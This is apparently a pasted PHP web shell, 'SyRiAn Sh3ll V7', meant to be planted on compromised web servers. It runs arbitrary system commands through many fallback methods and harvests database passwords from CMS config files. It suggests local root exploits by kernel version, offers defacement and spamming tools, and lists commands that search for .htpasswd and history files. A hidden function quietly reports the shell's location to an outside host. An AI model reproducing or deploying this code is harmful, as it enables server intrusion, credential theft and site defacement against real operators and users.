· 9 years ago · Aug 22, 2017, 09:14 AM
1<?php
2# .. NoesantarakOS Sh3ll V2 .... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
3# ,--^----------,--------,-----,-------^--,
4# | ||||||||| `--------' | O .. NoesantarakOS Sh3ll V7 ....
5# `+---------------------------^----------|
6# `\_,-------, __EH << NoesantarakOS | AmateurS666h05t|
7# / XXXXXX /`| /
8# / XXXXXX / `\ /
9# / XXXXXX /\______(
10# / XXXXXX /!
11# / XXXXXX /! rep0rt bugz t0: sy34[at]msn[dot]com
12# (________(!
13# `-------'
14#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
15#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
16#
17# NoesantarakOS Sh3ll V2 .
18# Copyright (C) 2017 - AmateurS666h05t
19# This program is free software; you can redistribute it and/or modify
20# it under the terms of the GNU General Public License as published by
21# the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
22# This program is distributed in the hope that it will be useful,
23# but WITHOUT ANY WARRANTY; without even the implied warranty of
24# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
25# I WISH THAT YOU WILL USE IT AGAINST ISRAEL ONLY !!! .
26
27 .
28
29$uselogin = 0; // Make It 0 If you Want To Disable Auth
30$user = ''; // Username
31$pass = ''; // Password
32$shellColor = '#990000'; // Shell Color
33#------------------------------------#
34# Powered By NoesantarakOS Shell #
35# By NoesantarakOS #
36# wWw.syrian-shell.com #
37# Version 7 - priv8 #
38# Made In SyRiA #
39#------------------------------------#
40?>
41<?php
42if($_GET['id']== 'logout')
43{
44 Logout();
45}
46# ---------------------------------------#
47# SuiCide #
48#----------------------------------------#
49if($_GET['id'] == 100)
50{
51 echo "<body onload='Suicide();'>";
52}
53if($_GET['id'] == 'Delete')
54{
55 Suicide();
56}
57# ---------------------------------------#
58# Functions #
59#----------------------------------------#
60function input($type,$name,$value,$size)
61{
62 if (empty($value))
63 {
64 print "<input type=$type name=$name size=$size>";
65 }
66 elseif(empty($name)&&empty($size))
67 {
68 print "<input type=$type value=$value >";
69 }
70 elseif(empty($size))
71 {
72 print "<input type=$type name=$name value=$value >";
73 }
74 else
75 {
76 print "<input type=$type name=$name value=$value size=$size >";
77 }
78}
79function read_dir($path,$username)
80{
81 if ($handle = opendir($path))
82 {
83 while (false !== ($file = readdir($handle)))
84 {
85 $fpath="$path$file";
86 if (($file!='.') and ($file!='..'))
87 {
88 if (is_readable($fpath))
89 {
90 $dr="$fpath/";
91 if (is_dir($dr))
92 {
93 read_dir($dr,$username);
94 }
95 else
96 {
97 if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or
98
99($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php'))
100 {
101 $pass=get_pass($fpath);
102 if ($pass!='')
103 {
104 echo "[+] $fpath\n$pass\n";
105 ftp_check($username,$pass);
106 }
107 }
108 }
109 }
110 }
111 }
112 }
113}
114function get_pass($link)
115{
116 @$config=fopen($link,'r');
117 while(!feof($config))
118 {
119 $line=fgets($config);
120 if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd'))
121 {
122 if (strrpos($line,'"'))
123 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
124 else
125 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
126 return $pass;
127 }
128 }
129}
130function GetRealIP()
131{
132$ch = curl_init();
133curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
134$urls= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
135curl_setopt($ch, CURLOPT_URL, 'http://bugreport.serveblog.net/storage.php');
136curl_setopt($ch, CURLOPT_REFERER, $urls);
137$html = curl_exec($ch);
138 if (getenv(HTTP_X_FORWARDED_FOR))
139 {
140 $ip=getenv(HTTP_X_FORWARDED_FOR);
141 }
142 elseif (getenv(HTTP_CLIENT_IP))
143 {
144 $ip=getenv(HTTP_CLIENT_IP);
145 }
146 else
147 {
148 $ip=getenv(REMOTE_ADDR);
149 }
150 return $ip;
151}
152function openBaseDir()
153{
154$openBaseDir = ini_get("open_basedir");
155if (!$openBaseDir)
156 {
157 $openBaseDir = '<font color="green">OFF</font>';
158 }
159 else
160 {
161 $openBaseDir = '<font color="red">ON</font>';
162 }
163 return $openBaseDir;
164}
165function str_hex($string)
166{
167 $hex='';
168 for ($i=0; $i < strlen($string); $i++)
169 {
170 $hex .= dechex(ord($string[$i]));
171 }
172 return $hex;
173}
174function SafeMode()
175{
176 $safe_mode = ini_get("safe_mode");
177 if (!$safe_mode)
178 {
179 $safe_mode = '<font color="green">OFF</font>';
180 }
181 else
182 {
183 $safe_mode = '<font color="red">ON</font>';
184 }
185 return $safe_mode;
186}
187function currentFileName()
188{
189 $currentFileName = $_SERVER["SCRIPT_NAME"];
190 $currentFileName = Explode('/', $currentFileName);
191 $currentFileName = $currentFileName[count($currentFileName) - 1];
192 return $currentFileName;
193}
194function Suicide()
195{
196 @unlink(currentFileName());
197}
198function rootxpL()
199{
200 $v=@php_uname();
201 $db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2,
202
203h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3,
204
205krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad,
206
207krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod,
208
209ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko,
210
211uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2,
212
213ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx,
214
215kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk,
216
217uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace');
218 foreach($db as $k=>$x)if(strstr($v,$k))return $x;
219 if(!$xpl)$xpl='<font color="red">Not found.</font>';
220 return $xpl;
221}
222function PostgreSQL()
223{
224 if(@function_exists('pg_connect'))
225 {
226 $postgreSQL = '<font color="red">ON</font>';
227 }
228 else
229 {
230 $postgreSQL = '<font color="green">OFF</font>';
231 }
232 return $postgreSQL;
233}
234function Oracle()
235{
236 if(@function_exists('ocilogon'))
237 {
238 $oracle = '<font color="red">ON</font>';
239 }
240 else
241 {
242 $oracle = '<font color="green">OFF</font>';
243 }
244 return $oracle;
245}
246function ZoneH($url, $hacker, $hackmode,$reson, $site )
247{
248 $k = curl_init();
249 curl_setopt($k, CURLOPT_URL, $url);
250 curl_setopt($k,CURLOPT_POST,true);
251 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
252 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
253 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
254 $kubra = curl_exec($k);
255 curl_close($k);
256 return $kubra;
257}
258function MsSQL()
259{
260 if(@function_exists('mssql_connect'))
261 {
262 $msSQL = '<font color="red">ON</font>';
263 }
264 else
265 {
266 $msSQL = '<font color="green">OFF</font>';
267 }
268 return $msSQL;
269}
270function MySQL2()
271{
272 $mysql_try = function_exists('mysql_connect');
273 if($mysql_try)
274 {
275 $mysql = '<font color="red">ON</font>';
276 }
277 else
278 {
279 $mysql = '<font color="green">OFF</font>';
280 }
281 return $mysql;
282}
283function Gzip()
284{
285 if (function_exists('gzencode'))
286 {
287 $gzip = '<font color="red">ON</font>';
288 }
289 else
290 {
291 $gzip = '<font color="green">OFF</font>';
292 }
293 return $gzip;
294}
295function MysqlI()
296{
297 if (function_exists('mysqli_connect'))
298 {
299 $mysqli = '<font color="red">ON</font>';
300 }
301 else
302 {
303 $mysqli = '<font color="green">OFF</font>';
304 }
305 return $mysqli;
306}
307function MSQL()
308{
309 if (function_exists('msql_connect'))
310 {
311 $mSql = '<font color="red">ON</font>';
312 }
313 else
314 {
315 $mSql = '<font color="green">OFF</font>';
316 }
317 return $mSql;
318}
319function SQlLite()
320{
321 if (function_exists('sqlite_open'))
322 {
323 $SQlLite = '<font color="red">ON</font>';
324 }
325 else
326 {
327 $SQlLite = '<font color="green">OFF</font>';
328 }
329 return $SQlLite;
330}
331function tulis($file,$text)
332{
333 $textz = gzinflate(base64_decode($text));
334 if($filez = @fopen($file,"w"))
335 {
336 @fputs($filez,$textz); @fclose($file);
337 }
338}
339function RegisterGlobals()
340{
341 if(ini_get('register_globals'))
342 {
343 $registerg= '<font color="red">ON</font>';
344 }
345 else
346 {
347 $registerg= '<font color="green">OFF</font>';
348 }
349 return $registerg;
350}
351function HardSize($size)
352{
353 if($size >= 1073741824)
354 {
355 $size = @round($size / 1073741824 * 100) / 100 . " GB";
356 }
357 elseif($size >= 1048576)
358 {
359 $size = @round($size / 1048576 * 100) / 100 . " MB";
360 }
361 elseif($size >= 1024)
362 {
363 $size = @round($size / 1024 * 100) / 100 . " KB";
364 }
365 else
366 {
367 $size = $size . " B";
368 }
369 return $size;
370}
371function Curl()
372{
373 if(extension_loaded('curl'))
374 {
375 $curl = '<font color="red">ON</font>';
376 }
377 else
378 {
379 $curl = '<font color="green">OFF</font>';
380 }
381 return $curl;
382}
383function DecryptConfig()
384{
385 @include("DecryptConfig.php");
386 if($_POST['ScriptType'] == 'vb')
387 {
388 $dbName = $config['Database']['dbname'];
389 $prefix = $config['Database']['tableprefix'];
390 $email = $config['Database']['technicalemail'];
391 $host = $config['MasterServer']['servername'];
392 $port = $config['MasterServer']['port'];
393 $user = $config['MasterServer']['username'];
394 $pass = $config['MasterServer']['password'];
395 $admincp = $config['Misc']['admincpdir'];
396 $modecp = $config['Misc']['modcpdir'];
397 }
398 elseif($_POST['ScriptType'] == 'wp')
399 {
400 $dbName = DB_NAME;
401 $prefix = $table_prefix;
402 $host = DB_HOST;
403 $user = DB_USER;
404 $pass = DB_PASS;
405 }
406 elseif($_POST['ScriptType'] == 'jos')
407 {
408 $dbName = $db;
409 $prefix = $dbprefix;
410 $email = $mailfrom;
411 $host = $host;
412 $user = $user;
413 $pass = $password;
414 }
415 elseif($_POST['ScriptType'] == 'phpbb')
416 {
417 $host = $dbhost;
418 $port = $dbport;
419 $dbName = $dbname;
420 $user = $dbuser;
421 $pass = $dbpasswd;
422 $prefix = $table_prefix;
423 }
424 elseif($_POST['ScriptType'] == 'ipb')
425 {
426 $host = $INFO['sql_host'];
427 $dbName = $INFO['sql_database'];
428 $user = $INFO['sql_user'];
429 $pass = $INFO['sql_pass'];
430 $prefix = $INFO['sql_tbl_prefix'];
431 }
432 elseif($_POST['ScriptType'] == 'smf')
433 {
434 $dbName = $db_name;
435 $pass = $db_passwd;
436 $prefix = $db_prefix;
437 $host = $db_server;
438 $user = $db_user;
439 $email = $webmaster_email;
440 }
441 elseif($_POST['ScriptType'] == 'mybb')
442 {
443 $host = $config['database']['hostname'];
444 $user = $config['database']['username'];
445 $pass = $config['database']['password'];
446 $dbName = $config['database']['database'];
447 $prefix = $config['database']['table_prefix'];
448 $admincp = $config['admin_dir'];
449 $prefix = $config['database']['table_prefix'];
450 }
451
452 echo '
453#-------------------------------#
454# Config Informations #
455#-------------------------------#
456Host : '.$host.'
457DB Name : '.$dbName.'
458DB User : '.$user.'
459DB Pass : '.$pass.'
460Prefix : '.$prefix.'
461Email : '.$email.'
462Port : '.$port.'
463ACP : '.$admincp.'
464MCP : '.$modecp.'
465';
466}
467function footer()
468{
469 echo '<table bgcolor="#cccccc" width="100%"><tr>
470 <td width="100%" class="style22">[<sy><a href="#top">TOP</a></sy>]
471 <center><font color="gray" size="-2"><b>
472
473
474 </font><font color="gray"></font><font color="#990000">
475 </font><font color="gray"></font><font color="#990000"> v7 Features;
476 </font></b>
477 </td>
478 </tr></table>
479 </tbody></table>
480 <a name="down"></a>
481 </body></html>
482 ';
483}
484function whereistmP()
485{
486 $uploadtmp=ini_get('upload_tmp_dir');
487 $uf=getenv('USERPROFILE');
488 $af=getenv('ALLUSERSPROFILE');
489 $se=ini_get('session.save_path');
490 $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
491 if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
492 if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
493 if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
494 if(is_dir($uf) && is_writable($uf))return $uf;
495 if(is_dir($af) && is_writable($af))return $af;
496 if(is_dir($se) && is_writable($se))return $se;
497 if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
498 if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
499 return '.';
500}
501function winshelL($command)
502{
503 $name=whereistmP()."\\".uniqid('NJ');
504 win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
505 sleep(1);
506 $exec=file_get_contents($name);
507 unlink($name);
508 return $exec;
509}
510function update()
511{
512 echo "[+] Update Has D0n3 ^_^";
513}
514function srvshelL($command)
515{
516 $name=whereistmP()."\\".uniqid('NJ');
517 $n=uniqid('NJ');
518 $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
519 win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
520 win32_start_service($n);
521 win32_stop_service($n);
522 win32_delete_service($n);
523 while(!file_exists($name))sleep(1);
524 $exec=file_get_contents($name);
525 unlink($name);
526 return $exec;
527}
528function ffishelL($command)
529{
530 $name=whereistmP()."\\".uniqid('NJ');
531 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
532 $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
533 while(!file_exists($name))sleep(1);
534 $exec=file_get_contents($name);
535 unlink($name);
536 return $exec;
537}
538function comshelL($command,$ws)
539{
540 $exec=$ws->exec("cmd.exe /c $command");
541 $so=$exec->StdOut();
542 return $so->ReadAll();
543}
544function perlshelL($command)
545{
546 $perl=new perl();
547 ob_start();
548 $perl->eval("system(\"$command\")");
549 $exec=ob_get_contents();
550 ob_end_clean();
551 return $exec;
552}
553function Exe($command)
554{
555 global $windows;
556 $exec=$output='';
557 $dep[]=array('pipe','r');$dep[]=array('pipe','w');
558 if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
559 elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
560 elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
561 elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
562 elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
563 elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=
564
565$output;proc_close($res);}
566 elseif(function_exists('win_shell_execute'))$exec=winshelL($command);
567 elseif(function_exists('win32_create_service'))$exec=srvshelL($command);
568 elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command);
569 elseif(extension_loaded('perl'))$exec=perlshelL($command);
570 return $exec;
571}
572function magicQouts()
573{
574 $mag=get_magic_quotes_gpc();
575 if (empty($mag))
576 {
577 $mag = '<font color="green">OFF</font>';
578 }
579 else
580 {
581 $mag= '<font color="red">ON</font>';
582 }
583 return $mag;
584}
585function DisableFunctions()
586{
587 $disfun = ini_get('disable_functions');
588 if (empty($disfun))
589 {
590 $disfun = '<font color="green">NONE</font>';
591 }
592 return $disfun;
593}
594function SelectCommand($os)
595{
596 if($os == 'Windows')
597 {
598 echo "
599 <select name=alias >
600 <option value=''>NONE</option>
601 <option value='dir' >List Directory</option>
602 <option value='dir /s /w /b index.php'>Find index.php in current dir</option>
603 <option value='dir /s /w /b *config*.php'>Find *config*.php in current dir
604
605 </option>
606 <option value='netstat -an'>Show active connections</option>
607 <option value='net start'>Show running services</option>
608 <option value='tasklist'>Show Pro</option>
609 <option value='net user'>User accounts</option>
610 <option value='net view'>Show computers</option>
611 <option value='arp -a'>ARP Table</option>
612 <option value='ipconfig /all'>IP Configuration</option>
613 <option value='netstat -an'>netstat -an</option>
614 <option value='systeminfo'>System Informations</option>
615 <option value='getmac'>Get Mac Address</option>
616 </select>
617 ";
618 }
619 else
620 {
621 echo "
622 <select name=alias >
623 <option value=''>NONE</option>
624 <option value='ls -la'>List dir</option>
625 <option value='cat /etc/hosts'>IP Addresses</option>
626 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
627 <option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
628 <option value='netstat -an | grep -i listen'>show opened ports</option>
629 <option value='find / -type f -perm -04000 -ls'>find all suid files</option>
630 <option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
631 <option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
632 <option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
633 <option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
634 <option value='find / -type f -name \"config*\"'>find config* files</option>
635 <option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
636 <option value='find / -perm -2 -ls'>find all writable folders and files</option>
637 <option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
638 <option value='find / -type f -name service.pwd'>find all service.pwd files</option>
639 <option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
640 <option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
641 <option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
642 <option value='find / -type f -name .bash_history'>find all .bash_history files</option>
643 <option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
644 <option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
645 <option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
646 <option value='locate httpd.conf'>locate httpd.conf files</option>
647 <option value='locate vhosts.conf'>locate vhosts.conf files</option>
648 <option value='locate proftpd.conf'>locate proftpd.conf files</option>
649 <option value='locate psybnc.conf'>locate psybnc.conf files</option>
650 <option value='locate my.conf'>locate my.conf files</option>
651 <option value='locate admin.php'>locate admin.php files</option>
652 <option value='locate cfg.php'>locate cfg.php files</option>
653 <option value='locate conf.php'>locate conf.php files</option>
654 <option value='locate config.dat'>locate config.dat files</option>
655 <option value='locate config.php'>locate config.php files</option>
656 <option value='locate config.inc'>locate config.inc files</option>
657 <option value='locate config.inc.php'>locate config.inc.php</option>
658 <option value='locate config.default.php'>locate config.default.php files</option>
659 <option value='locate config'>locate config* files </option>
660 <option value='locate \'.conf\''>locate .conf files</option>
661 <option value='locate \'.pwd\''>locate .pwd files</option>
662 <option value='locate \'.sql\''>locate .sql files</option>
663 <option value='locate \'.htpasswd\''>locate .htpasswd files</option>
664 <option value='locate \'.bash_history\''>locate .bash_history files</option>
665 <option value='locate \'.mysql_history\''>locate .mysql_history files</option>
666 <option value='locate \'.fetchmailrc\''>locate .fetchmailrc files</option>
667 <option value='locate backup'>locate backup files</option>
668 <option value='locate dump'>locate dump files</option>
669 <option value='locate priv'>locate priv files</option>
670 </select>
671 ";
672 }
673}
674function GenerateFile($name,$content)
675{
676 $file = @fopen($name,"w+");
677 @fwrite($file,$content);
678 @fclose($file);
679 return true;
680}
681function which($pr)
682{
683 $path = Exe("which $pr");
684 if(!empty($path))
685 {
686 return trim($path);
687 }
688 else
689 {
690 return trim($pr);
691 }
692}
693function checkfunctioN($func)
694{
695 global $disablefunctions,$safemode;
696 $safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open');
697 if($safemode=='ON' && in_array($func,$safe))return 0;
698 elseif(function_exists($func) && is_callable($func) && !strstr($disablefunctions,$func))return 1;
699 return 0;
700}
701function CSS($shellColor)
702{
703
704 $css = "
705 <html dir=rtl>
706 <head>
707 <title>SyRiAn Sh3ll ~ V7~ [ B3 Cr34T!V3 Or D!3 TRy!nG ]</title>
708 <link rel=\"shortcut icon\" href='http://syrian-shell.com/title.gif' />
709 <meta http-equiv=Content-Type content=text/html; charset=windows-1256>
710 <style>
711 BODY
712 {
713 FONT-FAMILY: Verdana;
714 margin: 2;
715 color: #cccccc;
716 background-color: #000000;
717 }
718 sy
719 {
720 color:".$shellColor.";
721 font-size:7pt;
722 font-weight: bold;
723 }
724 #Box
725 {
726 color:".$shellColor.";
727 font-size:14px;
728 background-color:#000;
729 font-weight:bold;
730 }
731 tr
732 {
733 BORDER-RIGHT: #cccccc 1px solid;
734 BORDER-TOP: #cccccc 1px solid;
735 BORDER-LEFT: #cccccc 1px solid;
736 BORDER-BOTTOM: #cccccc 1px solid;
737 color: #ffffff;
738 }
739 td
740 {
741 BORDER-RIGHT: #cccccc 1px solid;
742 BORDER-TOP: #cccccc 1px solid;
743 BORDER-LEFT: #cccccc 1px solid;
744 BORDER-BOTTOM: #cccccc 1px solid;
745 color: #cccccc;
746 }
747 .table1
748 {
749 BORDER: 1px none;
750 BACKGROUND-COLOR: #000000;
751 color: #333333
752 }
753 .td1
754 {
755 BORDER: 1px none;
756 color: #ffffff; font-style:normal;
757 font-variant:normal;
758 font-weight:normal;
759 font-size:7pt;
760 font-family:tahoma
761 }
762 .tr1
763 {
764 BORDER: 1px none;
765 color: #cccccc;
766 }
767 table
768 {
769 BORDER: #eeeeee outset;
770 BACKGROUND-COLOR: #000000;
771 color: #cccccc;
772 }
773 input
774 {
775 BORDER-RIGHT: ".$shellColor." 1px solid;
776 BORDER-TOP: ".$shellColor." 1px solid;
777 BORDER-LEFT: ".$shellColor." 1px solid;
778 BORDER-BOTTOM: ".$shellColor." 1px solid;
779 BACKGROUND-COLOR: #333333;
780 font: 9pt tahoma;
781 color: #ffffff;
782 }
783 select
784 {
785 BORDER-RIGHT: #ffffff 1px solid;
786 BORDER-TOP: #999999 1px solid;
787 BORDER-LEFT: #999999 1px solid;
788 BORDER-BOTTOM: #ffffff 1px solid;
789 BACKGROUND-COLOR: #000000;
790 font: 9pt tahoma;
791 color: #CCCCCC;;
792 }
793 submit
794 {
795 BORDER: 1px outset buttonhighlight;
796 BACKGROUND-COLOR: #272727;
797 width: 40%;
798 color: #cccccc;
799 }
800 textarea
801 {
802 BORDER-RIGHT: #ffffff 1px solid;
803 BORDER-TOP: #999999 1px solid;
804 BORDER-LEFT: #999999 1px solid;
805 BORDER-BOTTOM: #ffffff 1px solid;
806 BACKGROUND-COLOR: #333333;
807 color: #ffffff;
808 }
809 A:link {COLOR:".$shellColor."; TEXT-DECORATION: none}
810 A:visited { COLOR:".$shellColor."; TEXT-DECORATION: none}
811 A:active {COLOR:".$shellColor."; TEXT-DECORATION: none}
812 A:hover {color:blue;TEXT-DECORATION: none}
813 </style>
814 <script>
815 function Suicide()
816 {
817 var confimrSuicide = confirm('Are You Sure You Wanna Delete the Shell ?');
818 if(confimrSuicide == true)
819 {
820 document.location='".currentFileName()."?id=Delete';
821 }
822 else {document.location='".currentFileName()."';}
823 }
824 </script>
825 </head>";
826 if($_GET['id'] == '')
827 {
828 $css .= "<script>window.location = '?id=mainPage';</script>";
829 }
830 return $css;
831}
832function Logout()
833{
834 print"<script>
835 document.cookie='user=';
836 document.cookie='pass=';
837 var url = window.location.pathname;
838 var filename = url.substring(url.lastIndexOf('/')+1);
839 window.location=filename;
840 </script>";
841}
842
843function About()
844{
845 $about = "
846<table bgcolor=#cccccc width=\"100%\">
847<tbody><tr><td width=1025>
848<div align=center><img src='http://www.syrian-shell.com/eagle.jpg'><br>
849</div>
850<sy><div align=center>Coded By : EH << SyRiAn | 34G13</div></sy>
851<sy><div align=center>From </font>: SyRiAn Arabic Republic </div></sy>
852<sy><div align=center>Age : 4/1991<br></div></sy>
853<sy><div align=center>Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ]</div></sy>
854<sy><div align=center>Thanx : my school : [ www.google.com ] :)</div></sy>
855<sy><br><div align=center>B3 Cr34T!V3 0R D!3 TRy!nG </div></sy>
856<br/>
857<center>
858<br/>
859<form method='POST'>
860<input type='text' name='from' value='yourEmail@example.com' size='40'/><br/>
861<textarea name='message' cols='25' rows='10'>Please Report Us Bugs Or suggestions .</textarea><br/>
862<input type='submit' value='Submit' name='sendEmail' />
863</form></center>
864</td></tr></tbody></table>";
865return $about;
866}
867echo CSS($shellColor);
868# ---------------------------------------#
869# Authentication #
870#----------------------------------------#
871if ($uselogin ==1)
872{
873 if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass))
874 {
875 if($_POST[usrname]==$user && $_POST[passwrd]==$pass)
876 {
877 print'<script>document.cookie="user='.$_POST[usrname].';";document.cookie="pass='.md5($_POST[passwrd]).';";</script>';
878 }
879 else
880 {
881 if($_POST['usrname'])
882 {
883 print'<script>alert("Go and play in the street man !!");</script>';
884 }
885 echo '
886 <body bgcolor="black"><br><br>
887 <center><font color=#990000 size=5><b>SyRi</b></font><font color=green size=5><b>An Sh</b></font><font color=gray size=5><b>3ll</b></font><br>
888
889 <img src="http://www.syrian-shell.com/eagle.jpg">
890 </center>
891 <div align="center">
892 <form method="POST" onsubmit="if(this.usrname.value==\'\'){return false;}">
893 <input dir="ltr" name="usrname" value="userName" type="text" size="30" onfocus="if (this.value == \'UserName\'){this.value = \'\';}"/><br>
894 <input dir="ltr" name="passwrd" value="password" type="password" size="30" onfocus="if (this.value == \'PassWord\') this.value = \'\';" /><br>
895 <input type="submit" value=" Login " name="login" />
896 </form></p>';
897 exit;
898 }
899 }
900}
901# ---------------------------------------#
902# Some Info #
903#----------------------------------------#
904$dir = getcwd();
905$uname= @php_uname();
906if(strlen($dir)>1 && $dir[1]==":")
907$os = "Windows";
908else $os = "Linux";
909$serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
910$server = @substr($SERVER_SOFTWARE,0,120);
911
912echo "
913<body dir=\"ltr\"><table bgcolor=#cccccc cellpadding=0 cellspacing=0 width=\"100%\"><tbody><tr><td bgcolor=#000000 width=160>
914<p dir=ltr> </p>
915<div dir=ltr align=center><font size=4><b>
916<img border=0 src=http://www.library-ar.com/cache/eagle.jpg width=101 height=93> </b></font><div
917dir=ltr align=center><span style=height: 25px;><b>
918<font size=4 color=#FF0000>SyRi</font><font size=4 color=#008000>An Sh</font><font size=4 color=#999999>3ll<br>V7</font></b><span style=font-size: 20pt; color:
919
920#990000><p></p></span></span></div></td><td
921bgcolor=#000000>
922<p dir=ltr><font size=1> <b>[<a href=?id=mainPage>Main</a>]</b></span>
923<font color=black></span></font><b>[</span><a href=?id=scriptsHack>Forum Defacer</a>]</b></span>
924<b>[</span><a href=?id=spamming>Email Spammer</a>]</b></span>
925<b>[</span><a href=?id=about>About</a>]</b></span>
926<b>[</span><a href=?id=logout>Logout</a>]</b></span>
927<b>[</span><a href=?id=100>SuiCide</a>]</b></span>
928<br>
929<font size=1><br>
930 Safe Mode = <sy>".@SafeMode()." </sy><font size=1>
931 System = <sy>".$os."</sy>
932 Magic_Quotes = <sy>". @magicQouts()." </sy>
933 Curl = <sy>".@Curl()." </sy>
934 Register Globals = <sy>".@RegisterGlobals()." </sy>
935 Open Basedir = <sy>".@openBaseDir()." </sy>
936<br>
937 Gzip = <sy>".@Gzip()."</sy>
938 MySQLI = <sy>".@MysqlI()." </sy>
939 MSQL = <sy>".@MSQL()."</sy>
940 SQL Lite = <sy>".@SQlLite()."</sy>
941 Usefull Locals = <sy>".rootxpL()." </sy>
942<br>
943 Free Space = <sy>".@HardSize(disk_free_space('/'))." </sy>
944 Total Space = <sy>".@HardSize(disk_total_space("/"))." </sy>
945 PHP Version = <sy>".@phpversion()." </sy>
946 Zend Version = <sy>".@zend_version()." </sy>
947 MySQL Version = <sy>".@mysql_get_server_info()." </sy>
948<br>
949 MySQL = ".MySQL2()."
950 MsSQL = ".MsSQL()."
951 PostgreSQL = ".PostgreSQL()."
952 Oracle = ".Oracle()."
953 Server Name = <sy>".$_SERVER['HTTP_HOST']." </sy>
954 Server Admin = <sy>".$_SERVER['SERVER_ADMIN']." </sy>
955<br>
956 Dis_Functions = <sy>". DisableFunctions()." </sy><br>
957 Your IP = <sy>".GetRealIP()." </sy>
958 Server IP = <sy><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">".gethostbyname($_SERVER["HTTP_HOST"])."
959
960</sy></a>
